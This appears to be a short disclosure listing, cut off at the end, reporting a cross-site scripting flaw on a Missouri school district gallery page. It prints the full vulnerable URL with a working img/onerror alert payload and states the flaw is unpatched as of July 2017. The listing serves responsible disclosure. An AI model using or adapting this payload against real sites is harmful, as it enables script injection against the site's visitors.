first1764.liberty.k12.mo.us XSS vulnerability

Vulnerable URL: https://first1764.liberty.k12.mo.us/media/galleries/index.php?gallery=sciencenight=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability...